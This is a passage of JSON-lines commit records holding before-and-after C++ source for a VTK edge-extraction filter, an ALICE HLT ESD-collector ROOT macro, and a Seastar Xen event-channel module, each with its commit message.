outCD->CopyAllocate(cd,numCells);\n  \n  \/\/ Get our locator for merging points\n  \/\/\n  if ( this->Locator == NULL )\n    {\n    this->CreateDefaultLocator();\n    }\n  this->Locator->InitPointInsertion (newPts, input->GetBounds());\n\n  \/\/ Loop over all cells, extracting non-visited edges. \n  \/\/\n  for (cellNum=0; cellNum < numCells; cellNum++ )\n    {\n    if ( ! (cellNum % 10000) ) \/\/manage progress reports \/ early abort\n      {\n      this->UpdateProgress ((float)cellNum \/ numCells);\n      if ( this->GetAbortExecute() ) \n        {\n        break;\n        }\n      }\n\n    cell = input->GetCell(cellNum);\n    numCellEdges = cell->GetNumberOfEdges();\n    for (edgeNum=0; edgeNum < numCellEdges; edgeNum++ )\n      {\n      edge = cell->GetEdge(edgeNum);\n      numEdgePts = edge->GetNumberOfPoints();\n      \n      for ( i=0; i < numEdgePts; i++, pt1=pt2, pts[0]=pts[1] )\n        {\n        pt2 = edge->PointIds->GetId(i);\n\tx = input->GetPoint(pt2);\n        if ( this->Locator->InsertUniquePoint(x, pts[1]) )\n\t  {\n\t  outPD->CopyData (pd,pt2,pts[1]);\n\t  }\n        if ( i > 0 && edgeTable->IsEdge(pt1,pt2) == -1 )\n          {\n          edgeTable->InsertEdge(pt1, pt2);\n          newId = newLines->InsertNextCell(2,pts);\n          outCD->CopyData(cd, cellNum, newId);\n          }\n        }\n      }\/\/for all edges of cell\n    }\/\/for all cells\n\n  vtkDebugMacro(<<\"Created \" << newLines->GetNumberOfCells() << \" edges\");\n\n  \/\/\n  \/\/  Update ourselves.\n  \/\/\n  edgeTable->Delete();\n\n  output->SetPoints(newPts);\n  newPts->Delete();\n\n  output->SetLines(newLines);\n  newLines->Delete();\n\n  output->Squeeze();\n}\n\n\/\/ Specify a spatial locator for merging points. By\n\/\/ default an instance of vtkMergePoints is used.\nvoid vtkExtractEdges::SetLocator(vtkPointLocator *locator)\n{\n  if ( this->Locator == locator ) \n    {\n    return;\n    }\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( locator )\n    {\n    locator->Register(this);\n    }\n  this->Locator = locator;\n  this->Modified();\n}\n\nvoid vtkExtractEdges::CreateDefaultLocator()\n{\n  if ( this->Locator == NULL )\n    {\n    this->Locator = vtkMergePoints::New();\n    }\n}\n\nvoid vtkExtractEdges::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n  if ( this->Locator )\n    {\n    os << indent << \"Locator: \" << this->Locator << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"Locator: (none)\\n\";\n    }\n}\n\n\nunsigned long int vtkExtractEdges::GetMTime()\n{\n  unsigned long mTime=this-> vtkDataSetToPolyDataFilter::GetMTime();\n  unsigned long time;\n\n  if ( this->Locator != NULL )\n    {\n    time = this->Locator->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n  return mTime;\n}\n\n<commit_msg>ENH:Stupid formatting changes<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkExtractEdges.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkExtractEdges.h\"\n#include \"vtkEdgeTable.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkObjectFactory.h\"\n\n\/\/-------------------------------------------------------------------------\nvtkExtractEdges* vtkExtractEdges::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkExtractEdges\");\n  if(ret)\n    {\n    return (vtkExtractEdges*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkExtractEdges;\n}\n\n\/\/ Construct object.\nvtkExtractEdges::vtkExtractEdges()\n{\n  this->Locator = NULL;\n}\n\nvtkExtractEdges::~vtkExtractEdges()\n{\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n}\n\n\/\/ Generate feature edges for mesh\nvoid vtkExtractEdges::Execute()\n{\n  vtkDataSet *input= this->GetInput();\n  vtkPolyData *output= this->GetOutput();\n  vtkPoints *newPts;\n  vtkCellArray *newLines;\n  vtkIdType numCells, cellNum, numPts, newId;\n  int edgeNum, numEdgePts, numCellEdges;\n  int i;\n  vtkIdType pts[2];\n  vtkIdType pt1 = 0, pt2;\n  float *x;\n  vtkEdgeTable *edgeTable;\n  vtkCell *cell, *edge;\n  vtkPointData *pd, *outPD;\n  vtkCellData *cd, *outCD;\n\n  vtkDebugMacro(<<\"Executing edge extractor\");\n\n  \/\/  Check input\n  \/\/\n  numPts=input->GetNumberOfPoints();\n  if ( (numCells=input->GetNumberOfCells()) < 1 || numPts < 1 )\n    {\n    vtkErrorMacro(<<\"No input data!\");\n    return;\n    }\n\n  \/\/ Set up processing\n  \/\/\n  edgeTable = vtkEdgeTable::New();\n  edgeTable->InitEdgeInsertion(numPts);\n  newPts = vtkPoints::New();\n  newPts->Allocate(numPts);\n  newLines = vtkCellArray::New();\n  newLines->EstimateSize(numPts*4,2);\n\n  pd = input->GetPointData();\n  outPD = output->GetPointData();\n  outPD->CopyAllocate(pd,numPts);\n\n  cd = input->GetCellData();\n  outCD = output->GetCellData();\n  outCD->CopyAllocate(cd,numCells);\n  \n  \/\/ Get our locator for merging points\n  \/\/\n  if ( this->Locator == NULL )\n    {\n    this->CreateDefaultLocator();\n    }\n  this->Locator->InitPointInsertion (newPts, input->GetBounds());\n\n  \/\/ Loop over all cells, extracting non-visited edges. \n  \/\/\n  for (cellNum=0; cellNum < numCells; cellNum++ )\n    {\n    if ( ! (cellNum % 10000) ) \/\/manage progress reports \/ early abort\n      {\n      this->UpdateProgress ((float)cellNum \/ numCells);\n      if ( this->GetAbortExecute() ) \n        {\n        break;\n        }\n      }\n\n    cell = input->GetCell(cellNum);\n    numCellEdges = cell->GetNumberOfEdges();\n    for (edgeNum=0; edgeNum < numCellEdges; edgeNum++ )\n      {\n      edge = cell->GetEdge(edgeNum);\n      numEdgePts = edge->GetNumberOfPoints();\n      \n      for ( i=0; i < numEdgePts; i++, pt1=pt2, pts[0]=pts[1] )\n        {\n        pt2 = edge->PointIds->GetId(i);\n\tx = input->GetPoint(pt2);\n        if ( this->Locator->InsertUniquePoint(x, pts[1]) )\n\t  {\n\t  outPD->CopyData (pd,pt2,pts[1]);\n\t  }\n        if ( i > 0 && edgeTable->IsEdge(pt1,pt2) == -1 )\n          {\n          edgeTable->InsertEdge(pt1, pt2);\n          newId = newLines->InsertNextCell(2,pts);\n          outCD->CopyData(cd, cellNum, newId);\n          }\n        }\n      }\/\/for all edges of cell\n    }\/\/for all cells\n\n  vtkDebugMacro(<<\"Created \" << newLines->GetNumberOfCells() << \" edges\");\n\n  \/\/  Update ourselves.\n  \/\/\n  edgeTable->Delete();\n\n  output->SetPoints(newPts);\n  newPts->Delete();\n\n  output->SetLines(newLines);\n  newLines->Delete();\n\n  output->Squeeze();\n}\n\n\/\/ Specify a spatial locator for merging points. By\n\/\/ default an instance of vtkMergePoints is used.\nvoid vtkExtractEdges::SetLocator(vtkPointLocator *locator)\n{\n  if ( this->Locator == locator ) \n    {\n    return;\n    }\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n  if ( locator )\n    {\n    locator->Register(this);\n    }\n  this->Locator = locator;\n  this->Modified();\n}\n\nvoid vtkExtractEdges::CreateDefaultLocator()\n{\n  if ( this->Locator == NULL )\n    {\n    this->Locator = vtkMergePoints::New();\n    }\n}\n\nvoid vtkExtractEdges::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n  if ( this->Locator )\n    {\n    os << indent << \"Locator: \" << this->Locator << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"Locator: (none)\\n\";\n    }\n}\n\n\nunsigned long int vtkExtractEdges::GetMTime()\n{\n  unsigned long mTime=this-> vtkDataSetToPolyDataFilter::GetMTime();\n  unsigned long time;\n\n  if ( this->Locator != NULL )\n    {\n    time = this->Locator->GetMTime();\n    mTime = ( time > mTime ? time : mTime );\n    }\n  return mTime;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id$\n\/**\n * @file hltout-collect-esd.C\n * @brief Example for the AliHLTEsdCollectorComponent\n *\n * Example macro to run a small chain with the AliHLTOUTPublisherComponent\n * and the AliHLTEsdCollectorComponent. The AliHLTOUTPublisherComponent\n * is configured to publish all ESD objects from the HLTOUT data, the\n * AliHLTEsdCollectorComponent writes the files using the AliHLTEsdManager.\n *\n * Usage: aliroot -b -q \\\n *             hltout-collect-esd.C'(\"raw.root\",\"local:\/\/$ALICE_ROOT\/OCDB\",0,5)' | tee hltout-collect-esd.log\n * or \n *  \n *    aliroot -b -l -q \\\n *                hltout-collect-esd.C'(\"alien:\/\/\/alice\/data\/2010\/LHC10b\/000115322\/raw\/10000115322040.80.root\",\"raw:\/\/\",0,5)'  | tee hltout-collect-esd.log\n * \n * \n * The macro asumes HLTOUT raw data ddl files in order to open an\n * AliRawReaderFile, e.g. simulated using the default AliSimulation with\n * at least SetWriteRawData(\"HLT\") enabled.\n *\n * \\b Note: The example disables a few steps in the AliReconstruction,\n * mainly because of crashes in various parts of AliRoot. This does not\n * have any impact to the HLT features to be presented.\n *\n * @author Matthias.Richter@ift.uib.no\n * @ingroup alihlt_tutorial\n *\/\nvoid hltout_collect_esd(const char *filename,\n                        const char *cdbURI,\n                        int minEvent=-1,\n                        int maxEvent=-1)\n{\n  \n  \/\/ connect to the GRID if we use a file or OCDB from the GRID\n  TString struri=cdbURI;\n  TString strfile=filename;\n  if (struri.BeginsWith(\"raw:\/\/\") ||\n      strfile.Contains(\":\/\/\") && !strfile.Contains(\"local:\/\/\")) {\n    TGrid::Connect(\"alien\");\n  }\n\n  \/\/ Set the CDB storage location\n  AliCDBManager * man = AliCDBManager::Instance();\n  man->SetDefaultStorage(cdbURI);\n  if (struri.BeginsWith(\"local:\/\/\")) {\n    \/\/ set specific storage for GRP entry\n    \/\/ search in the working directory and one level above, the latter\n    \/\/ follows the standard simulation setup like e.g. in test\/ppbench\n    if (!gSystem->AccessPathName(\"GRP\/GRP\/Data\")) {\n      man->SetSpecificStorage(\"GRP\/GRP\/Data\", \"local:\/\/$PWD\");\n    } else if (!gSystem->AccessPathName(\"..\/GRP\/GRP\/Data\")) {\n      man->SetSpecificStorage(\"GRP\/GRP\/Data\", \"local:\/\/$PWD\/..\");\n    }\n  }\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ setup of the HLT system\n  AliHLTSystem* pHLT=AliHLTPluginBase::GetInstance();\n  if (!pHLT) {\n    cerr << \"fatal error: can not get HLT instance\" << endl;\n  }\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ the configuration chain\n  TString arg;\n\n  \/\/ the publisher configuration\n  arg.Form(\"-typeid ESD_TREE -typeid ALIESDV0\");\n  AliHLTConfiguration publisher(\"hltout-publisher\", \"AliHLTOUTPublisher\" , NULL, arg.Data());\n\n  \/\/ the writer configuration\n  arg.Form(\"\");\n  AliHLTConfiguration collector(\"sink1\", \"EsdCollector\"   , \"hltout-publisher\", arg.Data());\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ setup of the reconstruction\n  AliReconstruction rec; \n  \n  if (minEvent>=0 || maxEvent>minEvent) {\n    if (minEvent<0) minEvent=0;\n    if (maxEvent<minEvent) maxEvent=minEvent;\n    rec.SetEventRange(minEvent,maxEvent);\n  }\n\n  rec.SetInput(filename);\n  rec.SetRunLocalReconstruction(\"HLT\");\n  rec.SetRunTracking(\"\");\n  rec.SetFillESD(\"\");\n  rec.SetRunQA(\":\");\n  rec.SetFillTriggerESD(kFALSE);\n  rec.SetRunVertexFinder(kFALSE);\n  rec.SetOption(\"HLT\", \"libAliHLTUtil.so loglevel=0x7c chains=sink1\");\n  rec.Run();\n}\n<commit_msg>- removed obsolete argument for the HLTOUT publisher<commit_after>\/\/ $Id$\n\/**\n * @file hltout-collect-esd.C\n * @brief Example for the AliHLTEsdCollectorComponent\n *\n * Example macro to run a small chain with the AliHLTOUTPublisherComponent\n * and the AliHLTEsdCollectorComponent. The AliHLTOUTPublisherComponent\n * is configured to publish all ESD objects from the HLTOUT data, the\n * AliHLTEsdCollectorComponent writes the files using the AliHLTEsdManager.\n *\n * Usage: aliroot -b -q \\\n *             hltout-collect-esd.C'(\"raw.root\",\"local:\/\/$ALICE_ROOT\/OCDB\",0,5)' | tee hltout-collect-esd.log\n * or \n *  \n *    aliroot -b -l -q \\\n *                hltout-collect-esd.C'(\"alien:\/\/\/alice\/data\/2010\/LHC10b\/000115322\/raw\/10000115322040.80.root\",\"raw:\/\/\",0,5)'  | tee hltout-collect-esd.log\n * \n * \n * The macro asumes HLTOUT raw data ddl files in order to open an\n * AliRawReaderFile, e.g. simulated using the default AliSimulation with\n * at least SetWriteRawData(\"HLT\") enabled.\n *\n * \\b Note: The example disables a few steps in the AliReconstruction,\n * mainly because of crashes in various parts of AliRoot. This does not\n * have any impact to the HLT features to be presented.\n *\n * @author Matthias.Richter@ift.uib.no\n * @ingroup alihlt_tutorial\n *\/\nvoid hltout_collect_esd(const char *filename,\n                        const char *cdbURI,\n                        int minEvent=-1,\n                        int maxEvent=-1)\n{\n  \n  \/\/ connect to the GRID if we use a file or OCDB from the GRID\n  TString struri=cdbURI;\n  TString strfile=filename;\n  if (struri.BeginsWith(\"raw:\/\/\") ||\n      strfile.Contains(\":\/\/\") && !strfile.Contains(\"local:\/\/\")) {\n    TGrid::Connect(\"alien\");\n  }\n\n  \/\/ Set the CDB storage location\n  AliCDBManager * man = AliCDBManager::Instance();\n  man->SetDefaultStorage(cdbURI);\n  if (struri.BeginsWith(\"local:\/\/\")) {\n    \/\/ set specific storage for GRP entry\n    \/\/ search in the working directory and one level above, the latter\n    \/\/ follows the standard simulation setup like e.g. in test\/ppbench\n    if (!gSystem->AccessPathName(\"GRP\/GRP\/Data\")) {\n      man->SetSpecificStorage(\"GRP\/GRP\/Data\", \"local:\/\/$PWD\");\n    } else if (!gSystem->AccessPathName(\"..\/GRP\/GRP\/Data\")) {\n      man->SetSpecificStorage(\"GRP\/GRP\/Data\", \"local:\/\/$PWD\/..\");\n    }\n  }\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ setup of the HLT system\n  AliHLTSystem* pHLT=AliHLTPluginBase::GetInstance();\n  if (!pHLT) {\n    cerr << \"fatal error: can not get HLT instance\" << endl;\n  }\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ the configuration chain\n  TString arg;\n\n  \/\/ the publisher configuration\n  arg.Form(\"-typeid ALIESDV0\");\n  AliHLTConfiguration publisher(\"hltout-publisher\", \"AliHLTOUTPublisher\" , NULL, arg.Data());\n\n  \/\/ the writer configuration\n  arg.Form(\"\");\n  AliHLTConfiguration collector(\"sink1\", \"EsdCollector\"   , \"hltout-publisher\", arg.Data());\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/\n  \/\/ setup of the reconstruction\n  AliReconstruction rec; \n  \n  if (minEvent>=0 || maxEvent>minEvent) {\n    if (minEvent<0) minEvent=0;\n    if (maxEvent<minEvent) maxEvent=minEvent;\n    rec.SetEventRange(minEvent,maxEvent);\n  }\n\n  rec.SetInput(filename);\n  rec.SetRunLocalReconstruction(\"HLT\");\n  rec.SetRunTracking(\"\");\n  rec.SetFillESD(\"\");\n  rec.SetRunQA(\":\");\n  rec.SetFillTriggerESD(kFALSE);\n  rec.SetRunVertexFinder(kFALSE);\n  rec.SetOption(\"HLT\", \"libAliHLTUtil.so loglevel=0x7c chains=sink1\");\n  rec.Run();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdint.h>\n#include <unistd.h>\n#include <xen\/xen.h>\n#include <xen\/event_channel.h> \/\/ kernel interface\n#include <xen\/sys\/evtchn.h>    \/\/ userspace interface\n\n#include \"core\/reactor.hh\"\n#include \"core\/semaphore.hh\"\n#include \"core\/future-util.hh\"\n#include \"evtchn.hh\"\n#include \"osv_xen.hh\"\n\nsemaphore *evtchn::init_port(int port) {\n    _promises.emplace(port, semaphore(0));\n    return port_to_sem(port);\n}\n\nvoid evtchn::make_ready_port(int port) {\n    auto sem = port_to_sem(port);\n    sem->signal();\n}\n\nfuture<> evtchn::pending(int port) {\n    auto sem = port_to_sem(port);\n    return sem->wait();\n}\n\nport::port(int p)\n    : _port(p), _evtchn(evtchn::instance()) {\n}\n\nfuture<> port::pending() {\n    return _evtchn->pending(_port);\n}\n\nvoid port::notify() {\n    _evtchn->notify(_port);\n}\n\nclass userspace_evtchn: public evtchn {\n    pollable_fd _evtchn;\n    void umask(int *port, unsigned count);\npublic:\n    userspace_evtchn(unsigned otherend);\n    virtual port *bind() override;\n    virtual void notify(int port) override;\n};\n\nuserspace_evtchn::userspace_evtchn(unsigned otherend)\n    : evtchn(otherend)\n    , _evtchn(pollable_fd(file_desc::open(\"\/dev\/xen\/evtchn\", O_RDWR | O_NONBLOCK)))\n{\n    keep_doing([this] {\n        int ports[2];\n        return _evtchn.read_some(reinterpret_cast<char *>(&ports), sizeof(ports)).then([this, &ports] (size_t s)\n        {\n            auto count = s \/ sizeof(ports[0]);\n            umask(ports, count);\n            for (unsigned i = 0; i < count; ++i) {\n                make_ready_port(ports[i]);\n            }\n            make_ready_future<>();\n        });\n    });\n}\n\nport *userspace_evtchn::bind()\n{\n    struct ioctl_evtchn_bind_unbound_port bind = { _otherend };\n\n    auto ret = _evtchn.get_file_desc().ioctl<struct ioctl_evtchn_bind_unbound_port>(IOCTL_EVTCHN_BIND_UNBOUND_PORT, bind);\n    auto p = new port(ret);\n    init_port(*p);\n    return p;\n}\n\nvoid userspace_evtchn::notify(int port)\n{\n    struct ioctl_evtchn_notify notify;\n    notify.port = port;\n\n    _evtchn.get_file_desc().ioctl<struct ioctl_evtchn_notify>(IOCTL_EVTCHN_NOTIFY, notify);\n}\n\nvoid userspace_evtchn::umask(int *port, unsigned count)\n{\n    _evtchn.get_file_desc().write(port, count * sizeof(port));\n}\n\n#ifdef HAVE_OSV\nclass kernel_evtchn: public evtchn {\n    static void make_ready(void *arg);\n    static void process_interrupts(readable_eventfd* fd, semaphore* sem);\npublic:\n    kernel_evtchn(unsigned otherend) : evtchn(otherend) {}\n    virtual port *bind() override;\n    virtual void notify(int port) override;\n};\n\nvoid kernel_evtchn::make_ready(void *arg) {\n    int fd = reinterpret_cast<uintptr_t>(arg);\n    uint64_t one = 1;\n    ::write(fd, &one, sizeof(one));\n}\n\nport *kernel_evtchn::bind() {\n\n    unsigned int irq;\n\n    int newp;\n    irq = bind_listening_port_to_irq(_otherend, &newp);\n    \/\/ We need to convert extra-seastar events to intra-seastar events\n    \/\/ (in this case, the semaphore interface of evtchn).  The only\n    \/\/ way to do that currently is via eventfd.\n    semaphore* sem = init_port(newp);\n    auto fd = new readable_eventfd;\n    auto wfd = fd->get_write_fd();\n    intr_add_handler(\"\", irq, NULL, make_ready, reinterpret_cast<void*>(uintptr_t(wfd)), 0, 0);\n    unmask_evtchn(newp);\n    process_interrupts(fd, sem);\n    return new port(evtchn_from_irq(irq));\n}\n\nvoid kernel_evtchn::process_interrupts(readable_eventfd* fd, semaphore* sem) {\n    fd->wait().then([fd, sem] (size_t ignore) {\n        sem->signal();\n        process_interrupts(fd, sem);\n    });\n}\n\nvoid kernel_evtchn::notify(int port) {\n    notify_remote_via_evtchn(port);\n}\n#endif\n\nevtchn *evtchn::_instance = nullptr;\n\nevtchn *evtchn::instance()\n{\n    if (!_instance) {\n        throw std::runtime_error(\"Acquiring evtchn instance without specifying otherend: invalid context\");\n    }\n\n    return _instance;\n}\n\nevtchn *evtchn::instance(bool userspace, unsigned otherend)\n{\n    if (!_instance) {\n#ifdef HAVE_OSV\n        if (!userspace) {\n            _instance = new kernel_evtchn(otherend);\n        } else\n#endif\n            _instance = new userspace_evtchn(otherend);\n    }\n    return _instance;\n}\n<commit_msg>xen: change process_interrupts to take a port, rather than a semaphore<commit_after>#include <stdint.h>\n#include <unistd.h>\n#include <xen\/xen.h>\n#include <xen\/event_channel.h> \/\/ kernel interface\n#include <xen\/sys\/evtchn.h>    \/\/ userspace interface\n\n#include \"core\/reactor.hh\"\n#include \"core\/semaphore.hh\"\n#include \"core\/future-util.hh\"\n#include \"evtchn.hh\"\n#include \"osv_xen.hh\"\n\nsemaphore *evtchn::init_port(int port) {\n    _promises.emplace(port, semaphore(0));\n    return port_to_sem(port);\n}\n\nvoid evtchn::make_ready_port(int port) {\n    auto sem = port_to_sem(port);\n    sem->signal();\n}\n\nfuture<> evtchn::pending(int port) {\n    auto sem = port_to_sem(port);\n    return sem->wait();\n}\n\nport::port(int p)\n    : _port(p), _evtchn(evtchn::instance()) {\n}\n\nfuture<> port::pending() {\n    return _evtchn->pending(_port);\n}\n\nvoid port::notify() {\n    _evtchn->notify(_port);\n}\n\nclass userspace_evtchn: public evtchn {\n    pollable_fd _evtchn;\n    void umask(int *port, unsigned count);\npublic:\n    userspace_evtchn(unsigned otherend);\n    virtual port *bind() override;\n    virtual void notify(int port) override;\n};\n\nuserspace_evtchn::userspace_evtchn(unsigned otherend)\n    : evtchn(otherend)\n    , _evtchn(pollable_fd(file_desc::open(\"\/dev\/xen\/evtchn\", O_RDWR | O_NONBLOCK)))\n{\n    keep_doing([this] {\n        int ports[2];\n        return _evtchn.read_some(reinterpret_cast<char *>(&ports), sizeof(ports)).then([this, &ports] (size_t s)\n        {\n            auto count = s \/ sizeof(ports[0]);\n            umask(ports, count);\n            for (unsigned i = 0; i < count; ++i) {\n                make_ready_port(ports[i]);\n            }\n            make_ready_future<>();\n        });\n    });\n}\n\nport *userspace_evtchn::bind()\n{\n    struct ioctl_evtchn_bind_unbound_port bind = { _otherend };\n\n    auto ret = _evtchn.get_file_desc().ioctl<struct ioctl_evtchn_bind_unbound_port>(IOCTL_EVTCHN_BIND_UNBOUND_PORT, bind);\n    auto p = new port(ret);\n    init_port(*p);\n    return p;\n}\n\nvoid userspace_evtchn::notify(int port)\n{\n    struct ioctl_evtchn_notify notify;\n    notify.port = port;\n\n    _evtchn.get_file_desc().ioctl<struct ioctl_evtchn_notify>(IOCTL_EVTCHN_NOTIFY, notify);\n}\n\nvoid userspace_evtchn::umask(int *port, unsigned count)\n{\n    _evtchn.get_file_desc().write(port, count * sizeof(port));\n}\n\n#ifdef HAVE_OSV\nclass kernel_evtchn: public evtchn {\n    static void make_ready(void *arg);\n    void process_interrupts(readable_eventfd* fd, int port);\npublic:\n    kernel_evtchn(unsigned otherend) : evtchn(otherend) {}\n    virtual port *bind() override;\n    virtual void notify(int port) override;\n};\n\nvoid kernel_evtchn::make_ready(void *arg) {\n    int fd = reinterpret_cast<uintptr_t>(arg);\n    uint64_t one = 1;\n    ::write(fd, &one, sizeof(one));\n}\n\nport *kernel_evtchn::bind() {\n\n    unsigned int irq;\n\n    int newp;\n    irq = bind_listening_port_to_irq(_otherend, &newp);\n    \/\/ We need to convert extra-seastar events to intra-seastar events\n    \/\/ (in this case, the semaphore interface of evtchn).  The only\n    \/\/ way to do that currently is via eventfd.\n    init_port(newp);\n    auto fd = new readable_eventfd;\n    auto wfd = fd->get_write_fd();\n    intr_add_handler(\"\", irq, NULL, make_ready, reinterpret_cast<void*>(uintptr_t(wfd)), 0, 0);\n    unmask_evtchn(newp);\n    process_interrupts(fd, newp);\n    return new port(evtchn_from_irq(irq));\n}\n\nvoid kernel_evtchn::process_interrupts(readable_eventfd* fd, int port) {\n    fd->wait().then([this, fd, port] (size_t ignore) {\n        make_ready_port(port);\n        process_interrupts(fd, port);\n    });\n}\n\nvoid kernel_evtchn::notify(int port) {\n    notify_remote_via_evtchn(port);\n}\n#endif\n\nevtchn *evtchn::_instance = nullptr;\n\nevtchn *evtchn::instance()\n{\n    if (!_instance) {\n        throw std::runtime_error(\"Acquiring evtchn instance without specifying otherend: invalid context\");\n    }\n\n    return _instance;\n}\n\nevtchn *evtchn::instance(bool userspace, unsigned otherend)\n{\n    if (!_instance) {\n#ifdef HAVE_OSV\n        if (!userspace) {\n            _instance = new kernel_evtchn(otherend);\n        } else\n#endif\n            _instance = new userspace_evtchn(otherend);\n    }\n    return _instance;\n}\n<|endoftext|>"}
